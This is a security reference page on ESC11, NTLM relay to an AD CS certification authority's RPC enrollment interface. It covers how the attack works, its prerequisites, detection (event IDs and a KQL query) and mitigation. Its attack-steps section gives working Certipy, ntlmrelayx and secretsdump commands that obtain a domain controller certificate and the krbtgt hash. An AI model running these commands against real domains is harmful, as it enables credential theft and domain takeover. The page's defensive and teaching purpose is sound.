How it works
An enterprise CA accepts certificate requests over RPC through the ICertPassage interface (the MS-ICPR protocol), next to the DCOM interface that Windows clients use by default. This interface is part of every AD CS certification authority; it does not depend on the optional web enrollment role.
RPC lets a server demand a minimum authentication level. With packet privacy (RPC_C_AUTHN_LEVEL_PKT_PRIVACY) every request is encrypted with a key derived from the client's secret. A relay never has that key: it only forwards the NTLM messages between the victim and the server. So a server that insists on packet privacy cannot be driven through a relayed session.
The CA enforces this only when the flag IF_ENFORCEENCRYPTICERTREQUEST is set in its InterfaceFlags registry value. When the flag is clear, the CA accepts an ICPR request that is authenticated but not encrypted. An attacker who can make a privileged account authenticate to them over NTLM relays that authentication to the CA and submits a certificate request inside the session. The CA sees a valid logon by the victim and issues the certificate to it.
The flow is the same as ESC8 with a different endpoint:
- The attacker starts a relay that targets the CA over
rpc://. - They trigger an NTLM authentication from the victim, usually a domain controller, with authentication coercion.
- The relay authenticates to the CA as the victim and requests a certificate from a template the victim can enroll in:
DomainControllerorMachinefor a computer,Userfor a user. - The CA returns the certificate. The private key was generated by the attacker, so the result is a complete credential.
Because the certificate is issued to the real account through a normal template, it carries that account's SID. Strong certificate mapping does not interfere with it.
Prerequisites
- A CA whose
InterfaceFlagslacksIF_ENFORCEENCRYPTICERTREQUEST. - NTLM accepted by the CA server for incoming RPC.
- A way to obtain the victim's NTLM authentication: coercion of a computer account (needs any domain account for most methods) or name resolution poisoning for users.
- Network reach from the attacker's host to the CA's RPC endpoint mapper (port 135) and dynamic RPC ports, and from the victim to the attacker's listener (port 445 for SMB coercion).
- A published template that the victim account can enroll in without approval.
The victim and the CA must be different machines: an authentication coerced from the CA server itself cannot be relayed back to it.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find a CA that does not enforce encryption
certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout
In the Certificate Authorities section a vulnerable CA shows Enforce Encryption for Requests : Disabled and the line ESC11 : Encryption is not enforced for ICPR (RPC) requests.
Certify 2.x reports the same from Windows:
Certify.exe enum-cas --filter-vulnerable --hide-admins
On the CA itself, certutil prints the flag names:
certutil -getreg CA\InterfaceFlags
2. Start the relay
Certipy listens for SMB on port 445 and relays to the CA at 192.0.2.20. The CA name is required for RPC, and the template must be named when the victim is a domain controller:
certipy relay -target 'rpc://192.0.2.20' -ca 'CORP-CA' -template 'DomainController'
Impacket's ntlmrelayx has an ICPR mode for the same attack:
ntlmrelayx.py -t rpc://192.0.2.20 -rpc-mode ICPR -icpr-ca-name CORP-CA -smb2support
3. Trigger the victim's authentication
Coerce the domain controller DC01 to authenticate to the relay host. The methods, tools and their requirements are on the authentication coercion page. When the connection arrives, Certipy authenticates to the CA as CORP\DC01$, requests the certificate and saves it:
[*] Requesting certificate for 'CORP\\DC01$' based on the template 'DomainController'
[*] Got certificate with DNS Host Name 'dc01.corp.example.com'
[*] Saving certificate and private key to 'dc01.pfx'
4. Authenticate as the relayed account
certipy auth -pfx 'dc01.pfx' -dc-ip 192.0.2.10
Certipy obtains a TGT for DC01$, saves dc01.ccache and recovers the computer account's NT hash.
5. Use the access
A domain controller's computer account holds replication rights, so the ticket is enough for DCSync:
export KRB5CCNAME=$PWD/dc01.ccache
secretsdump.py -just-dc-user krbtgt -k -no-pass -dc-ip 192.0.2.10 'corp.example.com/dc01$@DC01.corp.example.com'
Impact
Relaying a domain controller gives the attacker a certificate for that controller, and with it the krbtgt key and every password hash in the domain. Relaying an administrator's user authentication gives a logon certificate for that administrator. Either certificate remains valid for its full validity period and is not affected by password changes.
The starting point is low: a network position and, for coercion, any domain account. No template is misconfigured and no directory object is changed, so reviews that look only at templates and ACLs do not find it.
OPSEC and artifacts
- Nothing is changed in the directory. The attack makes no write to templates, accounts or CA configuration. What it produces is a logon, a request and an issued certificate.
- The request comes from the wrong address. The CA server logs a network logon, event 4624, for
DC01$with the NTLM package and the relay host's address as the source. A domain controller authenticating with NTLM from an address that is not its own is the core relay signal. - RPC instead of DCOM. Windows enrollment clients use DCOM by default. The newer version of event 4886 and event 4887 on the CA records the authentication service, the authentication level and whether the request came over DCOM or RPC. A relayed request arrives over RPC, authenticated with NTLM, without packet privacy.
- An extra certificate for a domain controller. Domain controllers request and renew their certificates themselves, from their own address. A second certificate for the same controller, requested from another address, is in the CA database with its request ID and serial number.
- Coercion. The trigger opens a named pipe on the victim over SMB, which event 5145 records when detailed file share auditing is on.
- Certificate sign-in. Event 4768 shows
DC01$requesting a TGT with a certificate from the attacker's host. Certipy's-no-hashoption skips the follow-up request that recovers the NT hash but not this one. - Listener. The relay binds port 445 on the operator's host and leaves the PFX and credential cache files there.
Detection
- NTLM logon by a computer account from a foreign address. On the CA server, a 4624 where
TargetUserNameends in$, the authentication package is NTLM andIpAddressdoes not belong to that computer. The NTLM relay rules cover this and a computer account obtaining a TGT with a certificate. - Issuance to domain controllers outside their pattern. A 4887 for the
DomainController,DomainControllerAuthentication,KerberosAuthenticationorMachinetemplate where the requester is a domain controller and the request did not arrive the way that controller's earlier requests did. - Coercion attempts. The authentication coercion rules watch the named pipes that the coercion methods open.
- The flag being cleared. A change to
InterfaceFlagsis a CA configuration change; see the CA configuration change rules. A change made withcertutil -setregis visible only through registry auditing of the CA's configuration key. - Replication by an account that just signed in with a certificate. The DCSync rules cover the last step.
// Certificates issued to domain controller accounts, with how the request reached the CA
WindowsEvent
| where EventID == 4887 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Requester = tostring(EventData.Requester),
Template = tostring(EventData.CertificateTemplate),
AuthService = tostring(EventData.AuthenticationService),
AuthLevel = tostring(EventData.AuthenticationLevel),
Transport = tostring(EventData.DCOMorRPC),
RequestId = tostring(EventData.RequestId)
| where Requester endswith "$"
| where Template in~ ("DomainController", "DomainControllerAuthentication", "KerberosAuthentication", "Machine")
| project TimeGenerated, Computer, RequestId, Requester, Template, AuthService, AuthLevel, Transport
Baseline the last three columns for each requester first. The CA events need the Audit Certification Services subcategory and the CA audit filter for certificate requests.
Mitigation
- Enforce encryption on the RPC interface. On each CA, set the flag and restart the service:
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc
net start certsvc
- Reduce NTLM. Restrict incoming NTLM on CA servers and work toward disabling NTLM for computer accounts. A CA that does not accept NTLM cannot be a relay target.
- Close the coercion paths. Patch and restrict the RPC interfaces used for coercion, and block outbound SMB from domain controllers to workstations and non-server networks. The CVE-2025-33073 analysis shows why relay controls matter even on patched hosts.
- Fix the other relay targets too. ESC11 is rarely alone: check the web enrollment endpoints for ESC8, require SMB signing with the SMB signing guide, and enforce LDAP signing and channel binding.
- Limit who can reach the CA. Allow RPC to the CA only from the networks that need to enroll.
- Treat the CA as Tier 0. The Active Directory hardening guide places the CA with the domain controllers.
- After an incident, revoke the issued certificate, publish a CRL, and treat the relayed account's secrets as exposed. For a domain controller that means resetting its computer account password and, if replication was used, the
krbtgtpassword twice.
Detection rules for this attack
Log events to collect
FAQ
What is the difference between ESC8 and ESC11?
The relay target. ESC8 relays NTLM to the CA's HTTP enrollment pages, which exist only when the web enrollment role is installed. ESC11 relays to the ICertPassage RPC interface that every enterprise CA exposes for normal enrollment. Removing web enrollment fixes ESC8 and leaves ESC11 untouched.
Which setting makes a CA vulnerable to ESC11?
The IF_ENFORCEENCRYPTICERTREQUEST flag in the CA's InterfaceFlags registry value. When it is not set, the CA accepts RPC certificate requests that are authenticated but not encrypted, and an NTLM relay cannot produce the encryption because it never learns the session key. Read the value with certutil -getreg CA\InterfaceFlags.
Does enabling the flag break enrollment?
Current Windows clients request certificates with packet privacy, so they keep working. The flag is cleared on some CAs for old or third-party clients that cannot encrypt the RPC call. Check for such clients before changing it, then set the flag and restart Certificate Services.
References
- Steal or Forge Authentication Certificates, T1649 (MITRE ATT&CK)
- Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay, T1557.001 (MITRE ATT&CK)
- Relaying to AD Certificate Services over RPC (Sylvain Heiniger, Compass Security)
- Certipy wiki: Privilege Escalation, ESC11
- Certify wiki: Escalation Techniques, ESC11
- MS-ICPR: ICertPassage Remote Protocol (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.